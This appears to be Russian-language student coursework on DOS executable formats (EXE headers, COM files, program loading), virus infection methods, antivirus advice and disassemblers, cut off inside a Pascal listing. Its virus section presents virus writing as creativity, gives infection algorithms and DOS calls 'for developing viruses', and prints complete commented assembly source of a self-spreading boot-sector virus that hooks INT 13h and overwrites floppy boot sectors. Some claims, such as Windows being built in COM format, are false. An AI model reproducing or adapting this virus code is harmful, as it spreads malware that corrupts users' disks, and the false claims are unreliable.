Рассмотрим следующую таблицу компоновки
(MAP)
|
программы:
|
Start Stop Length Name 00000H 0003AH
003BH CSEG 00040H 0005AH 001BH DSEG 00060H 0007FH 0020H STACK
Program entry point at
0000:0000
|
Class
CODE
DATA
STACK
|
Таблица MAP
содержит относительные (не действительные) адреса каждого из трех сегментов.
Символ H после каждого значения указывает на шестнадцатеричный формат. Заметим,
что компоновщик может организовать эти сегменты в последовательности отличного
от того, как они были закодированы в программе.
В
соответствии с таблицей MAP кодовый сегмент CSEG находится по адресу 00000 -
этот относительный адрес является началом выполняемого модуля. Длина кодового
сегмента составляет шест.003B байтов. Следующий сегмент по имени DSEG
начинается по адресу шест.00040 и имеет длину шест.001B. Адрес шест.00040
является первым после CSEG адресом, выровненным на границу параграфа (т.е. это
значение кратно шест.10). Последний сегмент, STACK, начинается по адресу
шест.00060 - первому после DSEG, адресу выровненному на границу параграфа.
С помощью
отладчика DEBUG нельзя проверить содержимое заголовка, так как при загрузке
программы для выполнения DOS замещает заголовок префиксом программного
сегмента. Однако, на рынке программного обеспечения имеются различные сервисные
утилиты (или можно написать собственную), которые позволяют просматривать
содержимое любого дискового сектора в шестнадцатеричном формате. Заголовок для
рассматриваемого примера программы содержит следующую информацию (содержимое
слов представлено в обратной последовательности байтов).
00 Шест.4D5A.
02 Число байтов в последнем
блоке: 5B00.
04 Число
512 байтовых блоков в файле, включая заголовок: 0200 (шест.0002х512=1024).
06 Число
элементов в таблице настройки, находящейся после форматированной части
заголовка: 0100, т.е. 0001.
08 Число 16
байтовых элементов в заголовке: 2000 (шест.0020=32 и 32х16=512).
0C Загрузка в младшие адреса:
шест. FFFF.
0E Относительный адрес стекового
сегмента: 6000 или шест.
60.
10 Адрес для загрузки в SP: 2000
или шест.20.
14 Смещение для IP: 0000.
16 Смещение для CS: 0000.
18 Смещение
для первого настраиваемого элемента: 1E00 или шест.1E.
После
загрузки программы под управлением отладчика DEBUG регистры получают следующие
значения:
SP = 0020 DS = 138F ES
= 138F
SS = 13A5 CS = 139F IP
= 0000
Для
EXE-модулей загрузчик устанавливает в регистрах DS и ES адрес префикса
программного сегмента, помещенного в доступной области памяти, а в регистрах
IP, SS и SP - значения из заголовка программы.
Регистр SP
Загрузчик
использует шест.20 из заголовка для инициализации указателя стека значением
длины стека. В данном примере стек был определен, как 16 DUP (?), т.е. 16
двухбайтовых полей общей длиной 32 (шест.20) байта. Регистр SP указывает на
текущую вершину стека.
Регистр CS
В
соответствии со значением в регистре DS после загрузки программы, адрес PSP
равен шест.138F(0). Так как PSP имеет длину шест.100 байтов, то выполняемый модуль,
следующий непосредственно после PSP, находится по адресу шест.138F0+100=139F0.
Это значение устанавливается загрузчиком в регистре CS. Таким образом, регистр
CS определяет начальный адрес кодовой части программы (CSEG). С помощью команды
D CS:0000 в отладчике DEBUG можно просмотреть в режиме дампа машинный код в
памяти. Обратим внимание на идентичность дампа и шестнадцатеричной части
ассемблерного LST файла кроме операндов, отмеченных символом R.
Регистр SS
Для
установки значения в регистре SS загрузчик также использует информацию из
заголовка:
Начальный адрес PSP
138F0
Длина PSP 100
Относительный адрес стека
60
Адрес стека 13A50
Регистр DS
Загрузчик
использует регистр DS для установки начального адреса PSP. Так как заголовок не
содержит стартового адреса, то регистр DS необходимо инициализировать в
программе следующим образом:
0004 B8 ---- R MOV
AX,DSEG
0007 8E D8 MOV
DS,AX
Ассемблер
оставляет незаполненным машинный адрес сегмента DSEG, который становится элементом
таблицы настройки в заголовке. С помощью отладчика DEBUG можно просмотреть
завершенную команду в следующем виде:
B8 A313
Значение A313 загружается в
регистр DS в виде 13A3. В результате имеем
Регистр Адрес Смещение
CS 139F0 00
DS 13A30 40
SS 13A50 60
Попробуем выполнить трассировку
любой скомпонованной программы под управлением отладчика DEBUG (DOS) и
обратим внимание на изменяющиеся значения в регистрах:
Команда Изменяющиеся
регистры
PUSH DS IP и
SP
SUB AX,AX IP и
AX (если был не нуль)
PUSH AX IP и SP
MOV AX,DSEG IP и AX
MOV DS,AX IP и DS
Регистр DS содержит теперь
правильный адрес сегмента данных. Можно использовать теперь команду D DS:00 для
просмотра содержимого сегмента данных DSEG и команду D SS:00 для просмотра
содержимого стека.
ФУНКЦИИ ЗАГРУЗКИ И ВЫПОЛНЕНИЯ
ПРОГРАММЫ
Рассмотрим
теперь, как можно загрузить и выполнить программу из другой программы. Функция
шест.4B дает возможность одной программе загрузить другую программу в память и
при необходимости выполнить. Для этой функции необходимо загрузить адрес
ASCIIZ-строки в регистр DX, а адрес блока параметров в регистр BX (в
действительности в регистровую пару ES:BX). В регистре AL устанавливается номер
функции 0 или 3:
AL=0.
Загрузка и выполнение. Данная операция устанавливает префикс программного
сегмента для новой программы, а также адрес подпрограммы реакции на Ctrl/Break
и адрес передачи управления на следующую команду после завершения новой
программы. Так как все регистры, включая SP, изменяют свои значения, то данная
операция не для новичков. Блок параметров, адресуемый по ES:BX, имеет следующий
формат:
Смещение Назначение
0 Двухбайтовый
сегментный адрес строки
параметров для передачи.
2 Четырехбайтовый
указатель на командную строку
в PSP+80H.
6 Четырехбайтовый
указатель на блок FCB
в PSP+5CH.
10 Четырехбайтовый
указатель на блок FCB
в PSP+6CH.
AL=3.
Оверлейная загрузка. Данная операция загружает программу или блок кодов, но не
создает PSP и не начинает выполнение. Таким образом можно создавать оверлейные
программы. Блок параметров адресуется по регистровой паре ES:BX и имеет
следующий формат:
Смещение Назначение
0 Двухбайтовый
адрес сегмента для загрузки
файла.
2 Двухбайтовый
фактор настройки загрузочного
модуля.
Возможные коды ошибок, возвращаемые в регистре AX: 01, 02, 05, 08, 10 и
11. Программа на рис.22.2 запрашивает DOS выполнить команду DIR для дисковода
D.
3.
Структура COM
– файла.
Для
выполнения компоновки можно также создавать COM-файлы. Примером часто
используемого COM-файла является COMMAND.COM. Программа EXE2BIN.COM в
оперативной системе DOS (3 версия о более) преобразует EXE-файлы в COM-файлы.
Фактически эта программа создает так называемый BIN (двоичный) файл, поэтому
она и называется "преобразователь EXE в Вin (EXE-to-BIN)". Выходной
Вin-файл можно легкостью переименовать в COM-файл.
Какие же различия между EXE и COM-файлах ?
В первую очередь конечно они отличаются заголовками
файла. Несмотря на то, что программа EXE2BIN преобразует EXE-файл в COM-файл, существуют
определенные различия между программой, выполняемой как EXE-файл и программой,
выполняемой как COM-файл.
Размер программы.
EXE-программа может иметь любой размер, в то время как COM-файл ограничен
размером одного сегмента и не превышает 64К. COM-файл всегда меньше, чем
соответствующий EXE-файл; одна из причин этого - отсутствие в COM-файле
512-байтового начального блока EXE-файла.
Сегмент стека. В
EXE-программе определяется сегмент стека, в то время как COM-программа
генерирует стек автоматически. Таким образом при создании ассемблерной
программы, которая будет преобразована в COM-файл, стек должен быть опущен.
Сегмент данных. В EXE программе
обычно определяется сегмент данных, а регистр DS инициализируется адресом этого
сегмента. В COM-программе все данные должны быть определены в сегменте кода.
Ниже будет показан простой способ решения этого вопроса.
Инициализация. EXE-программа
записывает нулевое слово в стек и инициализирует регистр DS. Так как
COM-программа не имеет ни стека, ни сегмента данных, то эти шаги отсутствуют.
Когда COM-программа начинает работать, все сегментные регистры содержат адрес
префикса программного сегмента (PSP),
- 256-байтового (шест. 100) блока,
который резервируется операционной системой DOS непосредственно перед COM или
EXE программой в памяти. Так как адресация начинается с шест. смещения 100 от
начала PSP, то в программе после оператора SEGMENT кодируется директива ORG
100H.
Обработка. Для
программ в EXE и COM форматах выполняется ассемблирование для получения
OBJ-файла, и компоновка для получения EXE-файла. Если программа создается для
выполнения как EXE-файл, то ее уже можно выполнить. Если же программа создается
для выполнения как COM-файл, то компоновщиком будет выдано сообщение:
Warning: No STACK Segment
(Предупреждение: Сегмент стека не определен)
Это
сообщение можно игнорировать, так как определение стека в программе не
предполагалось. Для преобразования EXE-файла в COM-файл используется программа
EXE2BIN.
Между прочим
размеры EXE и COM-программ - 788 и 20 байт. Учитывая такую эффективность
COM-файлов, производители программных продуктов в большинстве создают свои
программы в COM-формате. Для этого есть такой пример как Windows.
Несоблюдение хотя бы
одного требования COM-формата может послужить причиной неправильной работы
программы. Если EXE2BIN обнаруживает ошибку, то выдается сообщение о невозможности
преобразования файла без указания конкретной причины.
ОСНОВНЫЕ ПОЛОЖЕНИЯ НА ПАМЯТЬ
- Объем COM-файла ограничен 64К.
- COM-файл меньше, чем соответствующий
EXE-файл.
- Программа, написанная для выполнения в
COM-формате не содержит стека и сегмента данных и не требует
инициализации регистра DS.
- Программа, написанная для выполнения
в COM-формате
использует директиву ORG 100H после
директивы SEGMENT для выполнения с адреса после префикса программного сегмента.
- Программа EXE2BIN преобразует
EXE-файл в COM-файл,
обусловленный указанием типа COM во втором операнде.
- Операционная система DOS определяет
стек для COM-программы или в конце программы, если позволяет размер,
или в конце памяти.
4.
Принцип действия и
распространения вируса.
Писать вирусы можно по разным причинам. Кому-то нравится изучать системные вызовы, искать «дыры» в антивирусах и совершенствовать свои знания в ассемблере, то есть исключительно программирование. У кого-то коммерческие или целенаправленные методы. Что же такое вирус ? Вирус – это творчество, изобретение новых приемов программирования, знание системы как пяти пальцев.
Есть такая группа людей, кто стремится навредить всем подряд, вставляя в свои вирусы так называемую деструкцию(изменение различных настроек системы компьютера). Такие написанные вирусы-деструкторы, способны стирать FAT-таблицы жестких дисков или даже выжигать монитор.
Рассмотрим
вирус, заражающий ЕХЕ-файлы. Приведена классификация таких вирусов, подробно
рассмотрены алгоритмы их работы, отличия между ними, достоинства и недостатки.
Вирусы
заражающие EXE-файла можно поделить на несколько групп:
*Я рассматриваю - вирусы написанные в основном
на ассемблере, имеющие не большой размер.
Вирусы,
замещающие программный код (Overwrite)
Такие
вирусы уже давно устарели и в наши дни они редко распространены.
Инфицированные
программы не исполняются, так как вирус записывается поверх программного кода, не
сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает
найденный файл для редактирования и записывает свое «тело» в начало программы,
не сохраняя оригинальный код. Инфицированные этими вирусами программы лечению
не подлежат.
Вирусы-спутники
(Companion)
Эти
вирусы получили свое название из-за алгоритма размножения: К каждому
инфицированному файлу создается файл-спутник. Рассмотрим более подробно два
типа вирусов этой группы:
Вирусы
первого типа размножается следующим образом. Для каждого инфицируемого
ЕХЕ-файла в том же каталоге создается файл с вирусным кодом, имеющий такое же
имя, что и ЕХЕ-файл, но с расширением
СОМ. Вирус активируется, если при запуске программы в командной
строке указано только имя исполняемого файла. Если СОМ-файл с таким именем не
найден, ведется поиск одноименного ЕХЕ-файла. Если
не найден и ЕХЕ-файл, DOS попробует обнаружить ВАТ (пакетный)
файл. Другими словами, когда пользователь хочет за-
пустить программу и набирает в командной строке только ее имя, первым
управление получает вирус, код которого находится в СОМ-файле. Он создает
СОМ-файл еще к одному или нескольким ЕХЕ-файлам (распространяется), а затем
исполняет ЕХЕ-файл с указанным в командной строке именем. Пользователь же
думает, что работает только запущенная ЕХЕ-программа. Вирус-спутник обезвредить
довольно просто - достаточно удалить СОМ-файл.
Вирусы
второго типа действуют более тонко. Имя инфицируемого
ЕХЕ-файла остается прежним, а расширение заменяется каким-либо
другим, отличным от исполняемого (СОМ, ЕХЕ и ВАТ), Например,
файл может получить расширение DAT (файл данных) или OVL (программный оверлей).
Затем на место ЕХЕ-файла копируется вирусный
код. При запуске такой инфицированной программы управление полу-
чает вирусный код, находящийся в ЕХЕ-файле. Инфицировав еще один
или несколько ЕХЕ-файлов таким же образом, вирус возвращает оригинальному файлу
исполняемое расширение (но не ЁХЕ, а СОМ, поскольку ЕХЕ-файл с таким именем
занят вирусом), после чего исполняет его. Когда работа инфицированной программы
закончена, ее
запускаемому файлу возвращается расширение неисполняемого. Лечение файлов,
зараженных вирусом этого типа, может быть затруднено,
если вирус-спутник шифрует часть или все тело инфицируемого файла,
а перед исполнением его расшифровывает.
Вирусы,
внедряющиеся в программу (Parasitic)
Вирусы
этого вида самые незаметные: их код записывается в инфицируемую программу, что
существенно затрудняет лечение зараженных файлов. Рассмотрим методы внедрения
ЕХЕ-вирусов в ЕХЕ-файл.
Способы
заражения ЕХЕ-файлов
Самый
распространенный способ заражения ЕХЕ-файлов такой: в конец файла дописывается
тело вируса, а заголовок корректируется (с сохранением оригинального) так,
чтобы при запуске инфицированного файла
управление получал вирус. Похоже на заражение СОМ-файлов, но вместо задания в
коде перехода в начало вируса корректируется собственно
адрес точки запуска программы. После окончания работы вирус берет из
сохраненного заголовка оригинальный адрес запуска программы, прибавляет к его
сегментной компоненте значение регистра DS или ES (полученное при старте
вируса) и передает управление на полученный адрес.
Второй
способ таков - внедрение вируса в начало файла со сдвигом кода программы.
Механизм заражения такой: тело инфицируемой программы
считывается в память, на ее место записывается вирусный код, а после
него - код инфицируемой программы. Таким образом, код программы
как бы "сдвигается" в файле на длину кода вируса. Отсюда и название
способа - "способ сдвига". При запуске инфицированного файла вирус
заражает еще один или несколько файлов. После этого он считывает
в память код программы, записывает его в специально созданный на
диске временный файл с расширением исполняемого файла (СОМ или
ЕХЕ), и затем исполняет этот файл. Когда программа закончила работу, временный
файл удаляется. Если при создании вируса не применялось дополнительных приемов
защиты, то вылечить инфицированный
файл очень просто - достаточно удалить код вируса в начале файла,
и программа снова будет работоспособной. Недостаток этого метода
в том, что приходится считывать в память весь код инфицируемой про-
граммы (а ведь бывают экземпляры размером больше 1Мбайт).
Следующий
способ заражения файлов - метод переноса который является самым совершенным
из всех ранее перечисленных. Вирус
размножается следующим образом: при запуске инфицированной программы тело
вируса из нее считывается в память. Затем ведется поиск
неинфицированной программы. В память считывается ее начало,
по длине равное телу вируса. На это место записывается тело вируса.
Начало программы из памяти дописывается в конец файла. Отсюда название метода -
"метод переноса". После того, как вирус инфицировал
один или несколько файлов, он приступает к исполнению программы,
из которой запустился. Для этого он считывает начало инфицированной программы,
сохраненное в конце файла, и записывает его в начало файла, восстанавливая
работоспособность программы. Затем вирус удаляет код начала программы из конца
файла, восстанавливая оригинальную длину файла, и исполняет программу. После
завершения программы вирус вновь записывает свой код в начало файла, а
оригинальное начало программы - в конец. Этим методом могут быть инфицированы даже
антивирусы, которые проверяют свой код на целостность, так как запускаемая
вирусом программа имеет в точности такой же код, как и до инфицирования.
Рассмотрим
алгоритм распространения Вируса.
Overwrite-вирус:
1. Открыть
файл, из которого вирус получил управление.
2. Считать
в буфер код вируса.
3. Закрыть
файл.
4. Искать
по маске подходящий для заражения файл.
5. Если
файлов больше не найдено, перейти к пункту 11.
6. Открыть
найденный файл.
7.
Проверить, не заражен ли найденный файл этим вирусом.
8. Если
файл заражен, перейти к пункту 10.
9.
Записать в начало файла код вируса.
10.
Закрыть файл (по желанию можно заразить от одного до всех фай-
лов в каталоге или на диске).
11. Выдать
на экран какое-либо сообщение об ошибке, например
"Abnormal program termination" или "Not enough memory", - как
бы, пусть
пользователь не слишком удивляется тому, что программа не запустилась.
12.
Завершить программу.
В
большинстве случаев для написания вируса широко используются функции DOS-а.
Их достаточно много всех не будем рассматривать, приведу пример только одного
из них.
DOS, функция 21h
Считать произвольную запись файла
Вход:
AH-21h
DS:DX - адрес открытого FCB (Таблица Б-2)
Выход:
AL=OOh, если чтение было успешным и
DTA заполнена данными
AL°01h, если достигнут конец файла (EOF) и чтения не было
AL=02h, если произошел выход за сегмент (чтения нет)
AL°03h, если встречен EOF и усеченная запись дополнена нулями
Описание.
Данная функция читает из файла с
текущей позиции как с указанной в полях FCB "Запись с текущей
позиции" и "Номер записи при непосредственном доступе к файлу".
Другие функции:
DOS, функция OOh
Завершить программу
DOS, функция 01h
Считать со стандартного устройства ввода
DOS, функция 02h
Записать в стандартное устройство вывода
DOS, функция 03h
Считать символа со
стандартного вспомогательного устройства
DOS, функция 04h
Записать символ в стандартное вспомогательное устройство
DOS, функция 05h
Вывести на принтер
DOS, функция 06h
Консольный ввод-вывод
DOS, функция 09h
Запись строки на стандартный вывод
DOS, функция OAh
Ввод строки в буфер
DOS, функция ODh
Сброс диска
DOS, функция OEh
Установить текущий диск DOS
DOS, функция 13h
Удалить файл через FCB
DOS, функция 15h
Последовательная запись в файл через FCB
DOS, функция 17h
Переименовать файл через FCB
DOS, функция 22h
Писать произвольную запись файла
DOS, функция 26h
Создать новый PSP
DOS, функция 27h
Читать произвольный блок файла
DOS, функция 28h
Писать произвольный блок файла
DOS, функция 31h
Завершиться и остаться резидентным
DOS, функция 3Ah
Удалить оглавление
DOS, функция 41h
Удалить файл
DOS, функция 43h
Установить/опросить атрибуты файла
DOS, функция 44h
Управление устройством ввода/вывода
DOS, функция 4Bh
Выполнить или загрузить программу
DOS, функция 4Ch
Завершить программу
DOS, функция 57h
Установить/опросить дату/время файла
DOS, функция 5Ah
Создать уникальный временный файл
DOS, функция 68h
Завершить файл.
Список наиболее часто
используемых функций DOS.(ассемблер
пример)
[AK] Вот список
функций, которые важно помнить при разработке вирусов:
Установить
адрес DTA.
~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
1Ah
ds:dx =
адрес
выход:
нет
Получить
адрес DTA.
~~~~~~~~~~~~~~~~~~~
вход:
ah =
2Fh
выход:
es:bx =
текущий адрес
Create
- Создать файл.
~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
3Ch
cx =
атрибуты файла (таб 1)
ds:dx =
путь и имя файла в формате asciz
выход:
if
CF=0 then
ax = дескриптор файла
else
ax = код ошибки (3,4,5) (таб 2)
Open -
Открыть существующий файл
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
3Dh
al =
режим доступа (таб 2)
cx =
атрибуты
ds:dx =
имя
выход:
if
CF=0 then
ax =
дескриптор файла
else
ax =
код ошибки
(1,2,3,4,5,0C)
Close - Закрыть файл
~~~~~~~~~~~~~~~~~~~~
вход:
ah =
3Eh
bx =
дескриптор
ds:dx =
имя
выход:
if
CF=0 then
ax =
else
ax = код ошибки (6)
Read -
Чтение из файла
~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
3Fh
bx =
дескриптор
cx =
число байт
ds:dx =
буфер для чтения
выход:
if
CF=0 then
ax = число прочитанных байт
Это значение может быть меньше CX.
Например потому, что превысили длину файла.
else
ax = код ошибки (5,6)
Write
- Записать в файл
~~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
40h
bx =
дескриптор
cx =
число байт
ds:dx =
данные для записи
выход:
if
CF=0 then
ax = число записанных байт
else
ax = код ошибки (5,6)
Unlink
- Удалить файл
вход:
ah =
41h
cx =
атрибуты
ds:dx =
имя
выход:
if
CF=0 then
ax =
else
ax = код ошибки (2,3,5)
LSeek
- Установить указатель в файле
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
42h
al =
точка отсчета указателя:
0 - от начала файла
1 - от текущего положения
2 - от конца
bx =
дескриптор
cx:dx =
смещение (cx=старшие 16 бит, dx=младшие)
выход:
if
CF=0 then
dx:ax = новое положение указателя относительно начала
else
ax = код ошибки (1,6)
Получить
атрибуты файла
~~~~~~~~~~~~~~~~~~~~~~~
вход:
ax =
4300h
ds:dx =
имя
выход:
if
CF=0 then
cx =
атрибуты
else
ax = код ошибки (1,2,3,5)
Chmod
- Установить атрибуты файла
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
вход:
ax =
4301h
cx =
новые атрибуты
ds:dx =
имя
выход:
if
CF=0 then
ax =
else
ax =
код ошибки
(1,2,3,5)
Выделить блок памяти
~~~~~~~~~~~~~~~~~~~~
вход:
ah =
48h
bx = размер блока в параграфах
выход:
if
CF=0 then
ax =
сегмент блока
else
ax = код ошибки (7,8)
bx = размер наибольшего доступного блока
Освободить
память
~~~~~~~~~~~~~~~~~
вход:
ah =
49h
es =
сегмент блока
выход:
if CF=0
then
ax =
else
ax = код ошибки (7,9)
Изменить
размер блока памяти
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
4Ah
bx =
новый размер
es =
сегмент
выход:
if
CF=0 then
ax =
else
ax = код ошибки (7,8,9)
bx = размер наибольшего доступного блока
Exec -
загрузить или выполнить программу.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
вход:
ah =
4Bh
al =
тип загрузки:
0
- загрузить и выполнить
1
- загрузить и не выполнять
3
- загрузить оверлей
4
- загрузить и выполнить в фоновом режиме (dos 4.0)
es:bx =
блок параметров (таб 3)
ds:dx =
имя программы
выход:
if
CF=0 then
bx,dx разрушены
else
ax =
код ошибки
(1,2,5,8,0A,0B)
Пример элементарного BOOT-вируса:
.286
.model
tiny
.code
org
00h
start: jmp
install
;jmp
fkс
table: ;
А вот тут будет таблица диска
org 4ch ;
много места ей, но...
fkс: nop ;
xor di,di ;
обнулим их
mov ds,di ;
DS=0
cli ;
mov ss,di ;
SS=0
mov si,7c00h ;
SI - адрес в памяти, там мы
;
начинаемся.
mov bx,si ;
запомним это... еще пригодится
mov sp,si
sti
dec word ptr ds:[0413h] ; стока
памяти дос
mov ax,ds:[0413h] ; в
АХ размер дос-памяти в килобайтах
mov cl,06 ;
чтобы получить сегмент надо число
shl ax,cl ;
килобайт умножить на 40h
;
немного арифметики - сегмент считают
;
от начала памяти в параграфах, пара-
;
граф=10h байт, 40h параграфов=400h
;
байт=1кБт. дальше все ясно.
mov es,ax ;
ES=адрес нового сегмента
push ax ;
в стек его - будем делать переход
mov ax,offset inst_int ; на
это вот смещение
push ax ;
и его в стек тоже
mov cx,200h ;
но сперва надо перенести свое тело
cld ;
в этот вот сегмент
rep movsb ;
переносим
retf ;
переход через стек
inst_int: ;
здесь мы уже в новом сегменте
mov
ax,ds:[13h*4] ; INT 0E0h=INT 13h original
mov
ds:[0e0h*4],ax ;
mov
ax,ds:[13h*4+2] ;
mov
ds:[0e0h*4+2],ax ;
mov
word ptr ds:[13h*4],offset int13 ; INT 13h=наш
обработчик
mov
ds:[13h*4+2],cs ;
xor
cx,cx
push cx ;
снова подготовка к переходу
push bx ;
через стек в точку 0000:7C00h
mov es,cx
mov ax,0201h ;
читать нормальный бут-сектор
mov cx,cs:floppy_sect ; вот
отсюда его и читать
mov
dh,cs:floppy_head ;
xor dl,dl ;
с диска А: естественно
int 0e0h ;
вызов оригинального INT 13h
run_boot:
retf ;
запустить бут.
;------ *** Hаш обработчик INT 13h *** -------
int13:
mov cs:shit,ax ; сохраним
ax
int 0e0h ;
выполним операцию
jnc int_continue ;
если была ошибка уходим
jmp int_exit
int_continue:
pushf ;
флаги запомнить надо!
cmp
byte ptr cs:[shit+1],2 ; reading sectors?
jnz
g1
cmp
cx,0001
jne g1
cmp dh,0 ;
читаем бут
jne g1
cmp dl,01 ;
не с винта надеюсь?
jna fkс_boot
g1: jmp
get_out
;------------- Обработчик чтения бута с дискеты ---------------
fkс_boot:
pusha
push ds es
push
es
pop
ds
lea di,fkс ; сравним
то что у нас по смещению fkс
mov ax,cs:[di] ;
с тем что мы прочитали по тому же смещению
mov si,bx ; Так мы проверяем
заражен ли
add si,offset fkс ; уже нами бут-сектор
cmp ax,[si] ;
jz exit_boot_work ; если нет то уйдем
отсюда
cmp dl,1 ; на всякий
пожарный :) В принципе можете
ja exit_boot_work ; эту проверку выкинуть -
она уже была
find_place: ; поиск места куда
прятать старый бут-сектор
mov ax,[bx+16h] ;
ax=число секторов в FAT
mul byte ptr [bx+10h] ; умножим его на число FAT
add ax,[bx+0eh] ;
прибавим число резервных секторов для FAT--
push dx ;
запомним dx - там номер диска и сторона |
mov cl,4 ;
|
mov dx,[bx+11h] ;
dx=число элементов корневого каталога |
;
1 элемент занимает 32 байта |
shr dx,cl ; поделим его на
16 - получим число сектров |
;
корня, вроде бы так... |
add ax,dx ; прибавим к
AX------------------------------
dec ax ;
уменьшим на 1
;
в AX порядковый номер последнего сектора
;
ROOT'a... ???
mov cx,[bx+18h] ;
cx=число секторов на дорожке
push cx ;
запомним его
shl cx,1 ; умножим на 2
xor dx,dx ; dx=0
div cx ;
поделим DX:AX на CX
pop cx ;
вытащим CX из стека - там число секторов на
;
дорожке было
push ax ;
запомним частное от предыдущего деления
mov ax,dx ; в AX занесем
остаток от деления
xor dx,dx ; DX=0
div cx ;
поделим еще раз
mov dh,al ; DH=номер головки
mov cl,dl ; CL=номер
сектора
pop ax ;
выкинем AX
mov ch,al ; CH=номер дорожки
inc cl ;
прибавим к нему 1
pop ax ;
AX=бывшее DX - там была сторона и номер
;
дисковода
mov dl,al ; номер в DL
mov cs:floppy_sect,cx ; то что получилось запомним
mov cs:floppy_head,dh
;---------all
found dh,cx rules---------
mov ax,0301h ;
записать старый бут куда надо
int 0e0h
jc exit_boot_work ; если была ошибка -
прекратить работу
;
чтобы не убить диск совсем
;
можно этого и не делать, едва ли что
;
случится - вероятность того что вычисленный
;
нами сектор BAD очень низка, но...
push cs
pop es
lea di,table ; скопируем из
бута в свое тело таблицу
mov si,bx ; параметров диска
add si,offset table ;
mov cx,4ch-3 ;
rep
movsb ;
push cs
pop es
mov ax,0301h ;
запишемся в бут-сектор
xor bx,bx
mov
cx,0001
xor
dh,dh
int
0e0h
exit_boot_work:
pop es ds ; восстановим
все что убили
popa
get_out:
popf ;
и флаги обязательно
int_exit:
retf 2 ;
выход из прерывания
;-------------data
block--------------
floppy_sect dw
2f08h
floppy_head db
01
shit dw
0
org 510
sign dw 0aa55h ; чтобы не выдавали сообщения NDD и
прочие...
;
это просто метка системного сектора
; ----- Инсталлятор вируса в бут дискеты -----
install:
mov cs:[0000],4aebh
mov byte ptr cs:[0002],090h ; нужная
команда
push ds
xor ax,ax
mov ds,ax
mov
ax,ds:[13h*4]
mov
ds:[0e0h*4],ax
mov
ax,ds:[13h*4+2]
mov
ds:[0e0h*4+2],ax
mov
word ptr ds:[13h*4],offset int13
mov
ds:[13h*4+2],cs
pop
ds
push
cs
pop
es
mov
ax,0201h
mov
cx,0001
mov
dx,0000
mov
bx,offset our_buffer
int 13h
xor ax,ax
mov ds,ax
mov
ax,ds:[0e0h*4]
mov
ds:[13h*4],ax
mov
ax,ds:[0e0h*4+2]
mov
ds:[13h*4+2],ax
mov
ax,4c00h
int
21h
our_buffer:
end
start
Существуют очень много вирусов, под
разные операционные системы, имеющие различные цели, написанные на разных
языках высокого и низкого уровней.
МЕТОДЫ БОРЬБЫ С ВИРУСАМИ.
Почему-то
многие считают, что антивирус может обнаружить любой вирус, то есть, запустив
антивирусную программу или монитор, можно быть абсолютно уверенным в их
надежности. Дело в том, что антивирус - это тоже программа, конечно, написанная
профессионалом. Но эти программы способны распознавать и уничтожать только
известные вирусы. На 100% защититься от вирусов практически невозможно (как
если бы, пользователь меняется дискетами с друзьями, а также получает
информацию из других источников, например из сетей). Если же не вносить
информацию в компьютер извне, заразиться вирусом невозможно - сам он ни когда не
родится.
Наиболее
широкое распространение по борьбе с вирусами получили такие программы как DrWeb
и AVP. Благодаря своим новейшим детекторам, они могут обнаружить любые вирусы -
как самые старые, так и только что появившиеся. Всегда нужно проверять файлы,
попадающие на компьютер. Любой из них может быть заражен вирусом, это нужно
помнить. Стараться никогда не давать работать посторонним на вашем компьютере -
именно они
чаще всего приносят вирусы. Особое внимание следует уделять играм -
чаще всего вирусы распространяются именно так. Новые игры и программы всегда
нужно проверять на вирус.
4. Дисассемблер
Когда
готовый программный продукт, можно будет редактировать, переделывать по своему
желанию, увидеть исходное написанной программы – это называется дисассемблированием.
Существуют
множество готовых программ-дисассемблеров, такие как: Hex-редакторы,
Win32Dasm, DASM v3, Dasm048 (для 486 процессоров), DASM6208
и т.д. Но недостатки всех этих дисассемблеров в том что в них не указывают
например директивы (Директивы этой группы предназначены для управления видом
файла листинга. Все директивы являются парными — это означает, что если одна
директива что-то разрешает, то другая, наоборот, запрещает), а так же все они
не способны полностью восстановить исходное программы. Чтобы вносить изменения в
программу нужны достаточно хорошие знания ассемблера.
6.
Программы
1)
Программы выполненная на ассемблере. Запустив программу можно вводит до 256
символов и одновременно выводить на экран(аналогичность команды DOS-“copy con”). Выход клавишей ENTER. Здесь так же
можно изменять вид экрана, цветовую палитру, прокрутку экрана, размер курсора.
page 60,132 ;Вывод символа и его скэн кода
model small
title Пробная программа
sseg segment para private 'stack'
dw 32 dup('??')
sseg ends
dseg segment para private 'data'
maska db 30h
KSIM DB 3
ROW DB 0
COL DB 0
SIM DB ' '
SCAN DB ' '
CHISLO DB ' '
STRSIM DB 100 DUP(' ')
dseg ends
cseg segment para private 'code'
assume ss:sseg,ds:dseg,cs:cseg,es:nothing
sum proc far ;Начало программы
push ds
sub ax,ax
push ax
mov ax,dseg
mov ds,ax
MOV AH,00H ;Установка
64-цветного режима
INT 10H
MOV AX,0600H ;Полная прокрутка экрана
MOV BH,07
MOV CX,0000
MOV DX,184FH
INT 10H
MOV AH,01 ; Установка размера курсора
MOV CH,06
MOV CL,07
INT 10H
MOV KSIM,0
MOV ROW,00 ; Задание начальных значении
MOV COL,00
MOV SI,0
MOV KSIM,10
M:
MOV AH,02; Установка курсора
MOV BH,00
MOV DH,ROW
MOV DL,COL
INT 10H
MOV AH,00 ;Ввод символа с
клавиатуры
INT 16H
MOV STRSIM[SI],AL
SUB AH,28 ; KLAVISHA ENTER (exit)
JZ M1 ;Переход если ноль
MOV AH,09H ;
Вывод очередного символа в позицию курсора
MOV AL,STRSIM[SI]
MOV BH,00
MOV BL,212
INT 10H
ADD COL,1
ADD SI,1
INC KSIM
JMP M ;Безусловный
переход
M1:
ret ; Возврат из подпрограммы(RET-optional
pop-value)
sum endp
cseg ends
end sum
2) Исходник программы дисассемблер
выполненный на паскале:
----------
include file IO.INC ---- CUT HERE FOR IO.INC -------------
procedure
WriteHex(B: byte);
const
Hex: ARRAY [0 .. 15] OF CHAR = '0123456789ABCDEF';
var
i: integer;
begin
for i:= 1 downto 0 do
write(Hex[((B shr (i shl 2)) and $000F)])
end;
procedure
WritelnHex(B: byte);
begin
